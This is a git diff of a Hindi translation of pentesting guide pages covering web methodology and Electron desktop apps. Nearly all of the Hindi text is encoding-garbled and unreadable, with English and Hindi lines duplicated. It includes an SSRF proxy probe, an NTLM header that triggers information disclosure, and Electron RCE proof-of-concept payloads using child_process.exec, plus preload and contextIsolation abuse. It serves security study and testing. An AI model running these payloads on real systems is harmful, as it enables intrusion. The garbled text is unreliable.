рд╕рд╛рдорд╛рдиреНрдп headers рдХреЗ рд╕рд╛рде), рддреЛ proxy _**google.com**_ рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдЧрд╛ рдФрд░ рдЖрдк рдПрдХ **SSRF** рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВред +рдпрджрд┐ рдХреЛрдИ рдкреЗрдЬ рдЙрд╕ code рдХреЗ рд╕рд╛рде respond рдХрд░рддрд╛ рд╣реИ, рддреЛ рд╕рдВрднрд╡рддрдГ рдпрд╣ рдПрдХ badly configured proxy рд╣реИред **рдпрджрд┐ рдЖрдк рдПрдХ HTTP request рднреЗрдЬрддреЗ рд╣реИрдВ рдЬреИрд╕реЗ: `GET https://google.com HTTP/1.1`** (host header рдФрд░ рдЕрдиреНрдп рд╕рд╛рдорд╛рдиреНрдп headers рдХреЗ рд╕рд╛рде), рддреЛ **proxy** рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдЧрд╛ _**google.com**_ **рдХреЛ access рдХрд░рдиреЗ рдХреА рдФрд░ рдЖрдкрдиреЗ рдПрдХ** SSRF **рдвреВрдБрдв рд▓рд┐рдпрд╛ рд╣реЛрдЧрд╛ред** **NTLM Authentication - Info disclosure** -рдпрджрд┐ running server authentication рдорд╛рдБрдЧ рд░рд╣рд╛ рд╣реИ рдФрд░ рд╡рд╣ **Windows** рд╣реИ рдпрд╛ рдЖрдк рдХреЛрдИ login рдкрд╛рддреЗ рд╣реИрдВ рдЬреЛ рдЖрдкрдХреЗ **credentials** рдорд╛рдБрдЧрддрд╛ рд╣реИ (рдФрд░ **domain** рдирд╛рдо рдорд╛рдБрдЧрддрд╛ рд╣реИ), рддреЛ рдЖрдк **information disclosure** рдХрд░рд╡рд╛ рд╕рдХрддреЗ рд╣реИрдВред\ -**Send** the **header**: `тАЬAuthorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=тАЭ` рдФрд░ NTLM authentication рдХреЗ рдХрд╛рдо рдХрд░рдиреЗ рдХреЗ рддрд░реАрдХреЗ рдХреЗ рдХрд╛рд░рдг, server internal info (IIS version, Windows version...) рдХреЛ header "WWW-Authenticate" рдореЗрдВ return рдХрд░реЗрдЧрд╛ред\ -рдЖрдк рдЗрд╕реЗ рдСрдЯреЛрдореЗрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП **nmap plugin** "_http-ntlm-info.nse_" рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред +рдпрджрд┐ running server authentication рдорд╛рдБрдЧ рд░рд╣рд╛ рд╣реИ рдФрд░ рд╡рд╣ **Windows** рд╣реИ рдпрд╛ рдЖрдк рдХреЛрдИ login рдкрд╛рддреЗ рд╣реИрдВ рдЬреЛ рдЖрдкрдХреА **credentials** рдорд╛рдБрдЧрддрд╛ рд╣реИ (рдФрд░ **domain** **name** рдорд╛рдБрдЧрддрд╛ рд╣реИ), рддреЛ рдЖрдк рдПрдХ **information disclosure** provoke рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред\ +**Send** рдпрд╣ **header**: `тАЬAuthorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=тАЭ` рдФрд░ NTLM authentication рдХреЗ рдХрд╛рдо рдХрд░рдиреЗ рдХреЗ рддрд░реАрдХреЗ рдХреЗ рдХрд╛рд░рдг, server header "WWW-Authenticate" рдХреЗ рдЕрдВрджрд░ internal info (IIS version, Windows version...) рдХреЗ рд╕рд╛рде respond рдХрд░реЗрдЧрд╛ред\ +рдЖрдк рдЗрд╕реЗ automate рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП **nmap plugin** "_http-ntlm-info.nse_" рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред **HTTP Redirect (CTF)** -Redirection рдореЗрдВ content рд░рдЦрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдпрд╣ content user рдХреЛ рджрд┐рдЦрд╛рдИ рдирд╣реАрдВ рджреЗрддрд╛ (рдХреНрдпреЛрдВрдХрд┐ browser redirection execute рдХрд░ рджреЗрддрд╛ рд╣реИ) рдкрд░ рд╡рд╣рд╛рдБ рдХреБрдЫ рдЫрд┐рдкрд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред +Redirection рдХреЗ рдЕрдВрджрд░ content рд░рдЦрдирд╛ рд╕рдВрднрд╡ рд╣реИред рдпрд╣ content user рдХреЛ рджрд┐рдЦрд╛рдИ рдирд╣реАрдВ рджреЗрдЧрд╛ (рдХреНрдпреЛрдВрдХрд┐ browser redirection execute рдХрд░реЗрдЧрд╛) рдкрд░ рдХреБрдЫ рдЪреАрдЬрд╝реЗрдВ рд╡рд╣рд╛рдБ рдЫреБрдкреА рд╣реЛ рд╕рдХрддреА рд╣реИрдВред ### Web Vulnerabilities Checking -рдЕрдм рдЬрдм web application рдХрд╛ рд╡реНрдпрд╛рдкрдХ enumeration рдХрд░ рд▓рд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рддреЛ рдХрдИ рд╕рдВрднрд╛рд╡рд┐рдд vulnerabilities рдХреА рдЬрд╛рдБрдЪ рдХрд░рдиреЗ рдХрд╛ рд╕рдордп рд╣реИред рдЖрдк checklist рдпрд╣рд╛рдБ рдкрд╛рдПрдБрдЧреЗ: +рдЕрдм рдЬрдм web application рдХрд╛ рд╡реНрдпрд╛рдкрдХ enumeration рдкреВрд░рд╛ рд╣реЛ рдЧрдпрд╛ рд╣реИ, рддреЛ рдЕрдм рдХрдИ рд╕рдВрднрд╛рд╡рд┐рдд vulnerabilities рдХреА рдЬрд╛рдБрдЪ рдХрд░рдиреЗ рдХрд╛ рд╕рдордп рд╣реИред рдЖрдк checklist рдпрд╣рд╛рдБ рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВ: {{#ref}} ../../pentesting-web/web-vulnerabilities-methodology.md {{#endref}} -Web vulns рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдФрд░ рдЬрд╛рдирдХрд╛рд░реА: +web vulns рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдФрд░ рдЬрд╛рдирдХрд╛рд░реА: - [https://six2dez.gitbook.io/pentest-book/others/web-checklist](https://six2dez.gitbook.io/pentest-book/others/web-checklist) - [https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html](https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html) @@ -343,7 +342,7 @@ Web vulns рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдФрд░ рдЬрд╛рдирдХрд╛рд░реА: ### Monitor Pages for changes -рдЖрдк рдРрд╕реЗ tools рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬреИрд╕реЗ [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) рддрд╛рдХрд┐ pages рдореЗрдВ рд╣реЛрдиреЗ рд╡рд╛рд▓реЗ modifications рдХреЛ monitor рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ, рдЬреЛ vulnerabilities рд▓рд╛ рд╕рдХрддреЗ рд╣реИрдВред +рдЖрдк pages рдореЗрдВ рдХрд┐рдП рдЧрдП modifications рдХреА рдирд┐рдЧрд░рд╛рдиреА рдХреЗ рд▓рд┐рдП [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) рдЬреИрд╕реЗ tools рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддрд╛рдХрд┐ рд╕рдВрднрд╛рд╡рд┐рдд vulnerabilities рдХреЗ рдЖрдиреЗ рдкрд░ рдкрддрд╛ рдЪрд▓ рд╕рдХреЗред ### HackTricks Automatic Commands ``` diff --git a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md index 6d17ce371..7c5c33aef 100644 --- a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md +++ b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md @@ -1,12 +1,12 @@ -# Electron рдбреЗрд╕реНрдХрдЯреЙрдк рдРрдкреНрд╕ +# Electron Desktop Apps {{#include ../../../banners/hacktricks-training.md}} ## рдкрд░рд┐рдЪрдп -Electron рд╕реНрдерд╛рдиреАрдп рдмреИрдХрдПрдВрдб (**NodeJS** рдХреЗ рд╕рд╛рде) рдФрд░ рдлреНрд░рдВрдЯрдПрдВрдб (**Chromium**) рдХреЛ рдорд┐рд▓рд╛рддрд╛ рд╣реИ, рд╣рд╛рд▓рд╛рдВрдХрд┐ рдЗрд╕рдореЗрдВ рдЖрдзреБрдирд┐рдХ рдмреНрд░рд╛рдЙрдЬрд╝рд░реЛрдВ рдХреЗ рдХреБрдЫ рд╕реБрд░рдХреНрд╖рд╛ рддрдВрддреНрд░ рдирд╣реАрдВ рд╣реЛрддреЗред +Electron рд╕реНрдерд╛рдиреАрдп backend (**NodeJS** рдХреЗ рд╕рд╛рде) рдФрд░ frontend (**Chromium**) рдХреЛ рдЬреЛрдбрд╝рддрд╛ рд╣реИ, рд╣рд╛рд▓рд╛рдВрдХрд┐ рдЗрд╕рдореЗрдВ рдЖрдзреБрдирд┐рдХ рдмреНрд░рд╛рдЙрдЬрд╝рд░реЛрдВ рдХреА рдХреБрдЫ рд╕реБрд░рдХреНрд╖рд╛ рддрдВрддреНрд░реЛрдВ рдХреА рдХрдореА рд╣реЛрддреА рд╣реИред -рдЖрдо рддреМрд░ рдкрд░ рдЖрдк Electron рдРрдк рдХрд╛ рдХреЛрдб `.asar` application рдХреЗ рдЕрдВрджрд░ рдкрд╛рдПрдБрдЧреЗ; рдХреЛрдб рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдкрдХреЛ рдЗрд╕реЗ рдирд┐рдХрд╛рд▓рдирд╛ рд╣реЛрдЧрд╛: +рдЖрдорддреМрд░ рдкрд░ рдЖрдк Electron app рдХрд╛ рдХреЛрдб `.asar` рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЗ рдЕрдВрджрд░ рдкрд╛рдПрдВрдЧреЗ; рдХреЛрдб рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдкрдХреЛ рдЗрд╕реЗ extract рдХрд░рдирд╛ рд╣реЛрдЧрд╛: ```bash npx asar extract app.asar destfolder #Extract everything npx asar extract-file app.asar main.js #Extract just a file @@ -17,14 +17,14 @@ Electron app рдХреЗ рд╕реНрд░реЛрдд рдХреЛрдб рдореЗрдВ, `packet.json` рдХреЗ "name": "standard-notes", "main": "./app/index.js", ``` -Electron рдореЗрдВ 2 process рдкреНрд░рдХрд╛рд░ рд╣реИрдВ: +Electron рдХреЗ 2 рдкреНрд░рдХрд╛рд░ рдХреЗ рдкреНрд░реЛрд╕реЗрд╕ рд╣реИрдВ: -- Main Process (NodeJS рддрдХ рдкреВрд░реНрдг рдкрд╣реБрдБрдЪ рд╣реЛрддреА рд╣реИ) +- Main Process (NodeJS рддрдХ рдкреВрд░реНрдг рдкрд╣реБрдБрдЪ рд╣реИ) - Renderer Process (рд╕реБрд░рдХреНрд╖рд╛ рдХрд╛рд░рдгреЛрдВ рд╕реЗ NodeJS рдХреА рдкрд╣реБрдБрдЪ рд╕реАрдорд┐рдд рд╣реЛрдиреА рдЪрд╛рд╣рд┐рдП) ![](<../../../images/image (182).png>) -рдПрдХ **renderer process** рдПрдХ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рд╡рд┐рдВрдбреЛ рд╣реЛрдЧреА рдЬреЛ рдПрдХ рдлрд╝рд╛рдЗрд▓ рд▓реЛрдб рдХрд░рддреА рд╣реИ: +рдПрдХ **renderer process** рдмреНрд░рд╛рдЙрдЬрд╝рд░ рд╡рд┐рдВрдбреЛ рд╣реЛрдЧреА рдЬреЛ рдПрдХ рдлрд╛рдЗрд▓ рд▓реЛрдб рдХрд░реЗрдЧреА: ```javascript const { BrowserWindow } = require("electron") let win = new BrowserWindow() @@ -32,18 +32,33 @@ let win = new BrowserWindow() //Open Renderer Process win.loadURL(`file://path/to/index.html`) ``` -main.js рдлрд╝рд╛рдЗрд▓ рдХреЗ рдЕрдВрджрд░ **main рдкреНрд░рдХреНрд░рд┐рдпрд╛** рдореЗрдВ **renderer рдкреНрд░рдХреНрд░рд┐рдпрд╛** рдХреА рд╕реЗрдЯрд┐рдВрдЧреНрд╕ **рдХреЙрдиреНрдлрд╝рд┐рдЧрд░** рдХреА рдЬрд╛ рд╕рдХрддреА рд╣реИрдВред рдХреБрдЫ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди Electron application рдХреЛ RCE рдпрд╛ рдЕрдиреНрдп vulnerabilities рдорд┐рд▓рдиреЗ рд╕реЗ **рд░реЛрдХ рд╕рдХрддреЗ рд╣реИрдВ** рдпрджрд┐ рдпреЗ **settings рд╕рд╣реА рддрд░реАрдХреЗ рд╕реЗ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░** рдХрд┐рдП рдЧрдП рд╣реЛрдВред +Settings of the **renderer process** can be **configured** in the **main process** inside the main.js file. Some of the configurations will **prevent the Electron application to get RCE** or other vulnerabilities if the **settings are correctly configured**. -Electron application **рдбрд┐рд╡рд╛рдЗрд╕ рддрдХ рдкрд╣реБрдБрдЪ рдХрд░ рд╕рдХрддрд╛ рд╣реИ** via Node apis, рд╣рд╛рд▓рд╛рдВрдХрд┐ рдЗрд╕реЗ рд░реЛрдХрдиреЗ рдХреЗ рд▓рд┐рдП рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ: +main.js рдлрд╝рд╛рдЗрд▓ рдХреЗ рдЕрдВрджрд░ **main process** рдореЗрдВ **renderer process** рдХреА рд╕реЗрдЯрд┐рдВрдЧреНрд╕ **configured** рдХреА рдЬрд╛ рд╕рдХрддреА рд╣реИрдВред рдЕрдЧрд░ рдпреЗ рд╕реЗрдЯрд┐рдВрдЧреНрд╕ рд╕рд╣реА рддрд░реАрдХреЗ рд╕реЗ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХреА рдЧрдИ рд╣реЛрдВ рддреЛ рдЗрдирдореЗрдВ рд╕реЗ рдХреБрдЫ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди Electron application рдХреЛ RCE рдпрд╛ рдЕрдиреНрдп vulnerabilities рдЖрдиреЗ рд╕реЗ рд░реЛрдХ рд╕рдХрддреА рд╣реИрдВред -- **`nodeIntegration`** - рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ `off` рд╣реИред рдЕрдЧрд░ `on` рд╣реЛ, рддреЛ renderer рдкреНрд░рдХреНрд░рд┐рдпрд╛ рд╕реЗ node features рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред -- **`contextIsolation`** - рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ `on` рд╣реИред рдЕрдЧрд░ `off` рд╣реЛ, рддреЛ main рдФрд░ renderer рдкреНрд░рдХреНрд░рд┐рдпрд╛рдПрдБ рдЕрд▓рдЧ-рдерд▓рдЧ рдирд╣реАрдВ рд░рд╣рддреАрдВред +The electron application **could access the device** via Node apis although it can be configure to prevent it: + +Electron application Node apis рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдбрд┐рд╡рд╛рдЗрд╕ рддрдХ рдкрд╣реБрдБрдЪ рд╕рдХрддреА рд╣реИ, рд╣рд╛рд▓рд╛рдВрдХрд┐ рдЗрд╕реЗ рд░реЛрдХрдиреЗ рдХреЗ рд▓рд┐рдП рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ: + +- **`nodeIntegration`** - is `off` by default. If on, allows to access node features from the renderer process. +- **`contextIsolation`** - is `on` by default. If off, main and renderer processes aren't isolated. +- **`preload`** - empty by default. +- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - is off by default. It will restrict the actions NodeJS can perform. +- Node Integration in Workers +- **`nodeIntegrationInSubframes`**- is `off` by default. +- If **`nodeIntegration`** is **enabled**, this would allow the use of **Node.js APIs** in web pages that are **loaded in iframes** within an Electron application. +- If **`nodeIntegration`** is **disabled**, then preloads will load in the iframe + +- **`nodeIntegration`** - рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ `off` рд╣реИред рдпрджрд┐ `on` рд╣реИ, рддреЛ renderer process рд╕реЗ node рдлреАрдЪрд░реНрд╕ рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред +- **`contextIsolation`** - рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ `on` рд╣реИред рдпрджрд┐ `off` рд╣реИ, рддреЛ main рдФрд░ renderer processes рдЕрд▓рдЧ-рдерд▓рдЧ рдирд╣реАрдВ рд░рд╣рддреЗред - **`preload`** - рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ рдЦрд╛рд▓реА рд╣реИред -- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ off рд╣реИред рдпрд╣ NodeJS рдХреЗ рджреНрд╡рд╛рд░рд╛ рдХреА рдЬрд╛рдиреЗ рд╡рд╛рд▓реА actions рдХреЛ рд╕реАрдорд┐рдд рдХрд░реЗрдЧрд╛ред +- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ `off` рд╣реИред рдпрд╣ NodeJS рджреНрд╡рд╛рд░рд╛ рдХрд┐рдП рдЬрд╛ рд╕рдХрдиреЗ рд╡рд╛рд▓реЗ actions рдХреЛ рдкреНрд░рддрд┐рдмрдВрдзрд┐рдд рдХрд░реЗрдЧрд╛ред - Workers рдореЗрдВ Node Integration - **`nodeIntegrationInSubframes`** - рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ `off` рд╣реИред -- рдпрджрд┐ **`nodeIntegration`** **рд╕рдХреНрд╖рдо** рд╣реИ, рддреЛ рдпрд╣ Electron application рдХреЗ рднреАрддрд░ iframes рдореЗрдВ рд▓реЛрдб рд╣реЛрдиреЗ рд╡рд╛рд▓реЗ web pages рдореЗрдВ **Node.js APIs** рдХреЗ рдЙрдкрдпреЛрдЧ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрдЧрд╛ред -- рдпрджрд┐ **`nodeIntegration`** **рдирд┐рд╖реНрдХреНрд░рд┐рдп** рд╣реИ, рддреЛ preloads iframe рдореЗрдВ рд▓реЛрдб рд╣реЛрдВрдЧреЗ +- рдпрджрд┐ **`nodeIntegration`** **enabled** рд╣реИ, рддреЛ рдпрд╣ Electron application рдХреЗ рдЕрдВрджрд░ iframes рдореЗрдВ рд▓реЛрдб рдХрд┐рдП рдЧрдП рд╡реЗрдм рдкреЗрдЬреЛрдВ рдореЗрдВ **Node.js APIs** рдХреЗ рдЙрдкрдпреЛрдЧ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрдЧрд╛ред +- рдпрджрд┐ **`nodeIntegration`** **disabled** рд╣реИ, рддреЛ preload рд╕реНрдХреНрд░рд┐рдкреНрдЯреНрд╕ iframe рдореЗрдВ рд▓реЛрдб рд╣реЛрдВрдЧреЗред + +Example of configuration: рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХрд╛ рдЙрджрд╛рд╣рд░рдг: ```javascript @@ -71,7 +86,7 @@ spellcheck: true, }, } ``` -рдХреБрдЫ **RCE payloads** [рдпрд╣рд╛рдБ](https://7as.es/electron/nodeIntegration_rce.txt): +рдХреБрдЫ **RCE payloads** [here](https://7as.es/electron/nodeIntegration_rce.txt) рд╕реЗ: ```html Example Payloads (Windows): require("child_process").exec("calc") @@ -123,7 +139,7 @@ top.require("child_process").exec("open /System/Applications/Calculator.app") ## RCE: preload -рдЗрд╕ рд╕реЗрдЯрд┐рдВрдЧ рдореЗрдВ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рд╕реНрдХреНрд░рд┐рдкреНрдЯ **renderer рдореЗрдВ рдЕрдиреНрдп рд╕реНрдХреНрд░рд┐рдкреНрдЯреНрд╕ рд╕реЗ рдкрд╣рд▓реЗ рд▓реЛрдб рдХреА рдЬрд╛рддреА рд╣реИ**, рдЗрд╕рд▓рд┐рдП рдЗрд╕реЗ **Node APIs рддрдХ рдЕрд╕реАрдорд┐рдд рдкрд╣реБрдБрдЪ** рд╣реИ: +рдпрд╣ рд╕реЗрдЯрд┐рдВрдЧ рдореЗрдВ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рд╕реНрдХреНрд░рд┐рдкреНрдЯ **renderer рдореЗрдВ рдЕрдиреНрдп рд╕реНрдХреНрд░рд┐рдкреНрдЯреНрд╕ рд╕реЗ рдкрд╣рд▓реЗ рд▓реЛрдб рд╣реЛрддреА рд╣реИ**, рдЗрд╕рд▓рд┐рдП рдЗрд╕реЗ **Node APIs рддрдХ рдЕрд╕реАрдорд┐рдд рдкрд╣реБрдБрдЪ** рд╣реИ: ```javascript new BrowserWindow{ webPreferences: { @@ -132,7 +148,7 @@ preload: _path2.default.join(__dirname, 'perload.js'), } }); ``` -рдЗрд╕рд▓рд┐рдП рд╕реНрдХреНрд░рд┐рдкреНрдЯ node-features рдХреЛ pages рдореЗрдВ export рдХрд░ рд╕рдХрддреА рд╣реИ: +рдЗрд╕рд▓рд┐рдП, рд╕реНрдХреНрд░рд┐рдкреНрдЯ node-features рдХреЛ pages рдореЗрдВ рдирд┐рд░реНрдпрд╛рдд рдХрд░ рд╕рдХрддреА рд╣реИ: ```javascript:preload.js typeof require === "function" window.runCalc = function () { @@ -152,13 +168,13 @@ runCalc() ## RCE: XSS + contextIsolation -The _**contextIsolation**_ рд╡реЗрдм рдкреЗрдЬ рд╕реНрдХреНрд░рд┐рдкреНрдЯреНрд╕ рдФрд░ JavaScript Electron рдХреЗ internal code рдХреЗ рдмреАрдЪ **рдЕрд▓рдЧ-рдЕрд▓рдЧ contexts** рдкреНрд░рд╕реНрддреБрдд рдХрд░рддрд╛ рд╣реИ рддрд╛рдХрд┐ рдкреНрд░рддреНрдпреЗрдХ рдХреЛрдб рдХреА JavaScript execution рдПрдХ-рджреВрд╕рд░реЗ рдХреЛ рдкреНрд░рднрд╛рд╡рд┐рдд рди рдХрд░реЗред рдпрд╣ RCE рдХреА рд╕рдВрднрд╛рд╡рдирд╛ рдХреЛ рд╕рдорд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рдлреАрдЪрд░ рд╣реИред +The _**contextIsolation**_ рд╡реЗрдм рдкреЗрдЬ рд╕реНрдХреНрд░рд┐рдкреНрдЯреНрд╕ рдФрд░ Electron рдХреЗ internal JavaScript рдХреЛрдб рдХреЗ рдмреАрдЪ **рдЕрд▓рдЧ рдХрд┐рдП рдЧрдП contexts** рдкреЗрд╢ рдХрд░рддрд╛ рд╣реИ рддрд╛рдХрд┐ рдкреНрд░рддреНрдпреЗрдХ рдХреЛрдб рдХреА JavaScript execution рдПрдХ-рджреВрд╕рд░реЗ рдХреЛ рдкреНрд░рднрд╛рд╡рд┐рдд рди рдХрд░реЗред рдпрд╣ RCE рдХреА рд╕рдВрднрд╛рд╡рдирд╛ рдХреЛ рдЦрддреНрдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдЖрд╡рд╢реНрдпрдХ рдлреАрдЪрд░ рд╣реИред -рдпрджрд┐ contexts рдЕрд▓рдЧ рдирд╣реАрдВ рд╣реИрдВ рддреЛ attacker рдХрд░ рд╕рдХрддрд╛ рд╣реИ: +рдпрджрд┐ contexts isolated рдирд╣реАрдВ рд╣реИрдВ рддреЛ attacker рдХрд░ рд╕рдХрддрд╛ рд╣реИ: -1. renderer рдореЗрдВ **arbitrary JavaScript рдХреЛ execute рдХрд░рдирд╛** (XSS рдпрд╛ external рд╕рд╛рдЗрдЯреЛрдВ рдкрд░ navigation) -2. **preload рдпрд╛ Electron internal code рдореЗрдВ рдЙрдкрдпреЛрдЧ рд╣реЛрдиреЗ рд╡рд╛рд▓реЗ built-in method рдХреЛ overwrite рдХрд░рдирд╛** рдФрд░ рдЙрд╕реЗ рдЕрдкрдиреЗ function рдореЗрдВ рдмрджрд▓рдирд╛ -3. **overwrite рдХрд┐рдП рдЧрдП function рдХреЗ рдЙрдкрдпреЛрдЧ рдХреЛ trigger рдХрд░рдирд╛** +1. Execute **renderer рдореЗрдВ arbitrary JavaScript** (XSS рдпрд╛ external рд╕рд╛рдЗрдЯреЛрдВ рдкрд░ navigation) +2. **preload рдпрд╛ Electron internal code рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛рдиреЗ рд╡рд╛рд▓реЗ built-in method** рдХреЛ overwrite рдХрд░рдирд╛ рддрд╛рдХрд┐ function рдкрд░ control рд╣рд╛рд╕рд┐рд▓ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ +3. **overwritten function** рдХреЗ рдЙрдкрдпреЛрдЧ рдХреЛ **trigger** рдХрд░рдирд╛ 4. RCE? There are 2 places where built-int methods can be overwritten: In preload code or in Electron internal code: @@ -180,34 +196,34 @@ electron-contextisolation-rce-via-ipc.md ### Bypass click event -рдпрджрд┐ рдХрд┐рд╕реА link рдкрд░ click рдХрд░рдиреЗ рдкрд░ restrictions рд▓рд╛рдЧреВ рд╣реИрдВ рддреЛ рдЖрдк рдЙрдиреНрд╣реЗрдВ bypass рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ **doing a middle click** рдХреЗ рдЬрд╝рд░рд┐рдП, regular left click рдХреА рдЬрдЧрд╣ред +рдпрджрд┐ link рдкрд░ рдХреНрд▓рд┐рдХ рдХрд░рдиреЗ рдкрд░ рдХреБрдЫ restrictions рд▓рд╛рдЧреВ рд╣реЛрддреЗ рд╣реИрдВ, рддреЛ рдЖрдк рдЙрдиреНрд╣реЗрдВ рдирд┐рдпрдорд┐рдд left click рдХреА рдмрдЬрд╛рдп **middle click** рдХрд░рдХреЗ bypass рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред ```javascript window.addEventListener('click', (e) => { ``` -## RCE via shell.openExternal +## RCE рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ shell.openExternal рдЗрди рдЙрджрд╛рд╣рд░рдгреЛрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП рджреЗрдЦреЗрдВ [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) рдФрд░ [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/) -рдЬрдм Electron desktop application рдХреЛ deploy рдХрд░рддреЗ рд╕рдордп, `nodeIntegration` рдФрд░ `contextIsolation` рдХреА рд╕рд╣реА settings рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рдирд╛ рдмреЗрд╣рдж рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИред рдпрд╣ рд╕реНрдерд╛рдкрд┐рдд рд╣реИ рдХрд┐ **client-side remote code execution (RCE)** рдЬреЛ preload scripts рдпрд╛ Electron's native code рдХреЛ main process рд╕реЗ рд▓рдХреНрд╖рд┐рдд рдХрд░рддреА рд╣реИ, рдЗрди settings рдХреЗ рд╕рд╛рде рдкреНрд░рднрд╛рд╡реА рд░реВрдк рд╕реЗ рд░реЛрдХреА рдЬрд╛рддреА рд╣реИред +Electron рдбреЗрд╕реНрдХрдЯреЙрдк рдПрдкреНрд▓рд┐рдХреЗрд╢рди рддреИрдирд╛рдд рдХрд░рддреЗ рд╕рдордп, `nodeIntegration` рдФрд░ `contextIsolation` рдХреЗ рд╕рд╣реА рд╕реЗрдЯрд┐рдВрдЧреНрд╕ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рдирд╛ рдмрд╣реБрдд рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИред рдпрд╣ рд╕реНрдерд╛рдкрд┐рдд рд╣реИ рдХрд┐ рдпреЗ рд╕реЗрдЯрд┐рдВрдЧреНрд╕ рд╣реЛрдиреЗ рдкрд░ preload scripts рдпрд╛ Electron рдХреЗ native code рдХреЛ main process рд╕реЗ рдЯрд╛рд░реНрдЧреЗрдЯ рдХрд░рдиреЗ рд╡рд╛рд▓реА **client-side remote code execution (RCE)** рдкреНрд░рднрд╛рд╡реА рд░реВрдк рд╕реЗ рд░реЛрдХреА рдЬрд╛рддреА рд╣реИред -рд▓рд┐рдВрдХреНрд╕ рдХреЗ рд╕рд╛рде рдЗрдВрдЯрд░реИрдХреНрдЯ 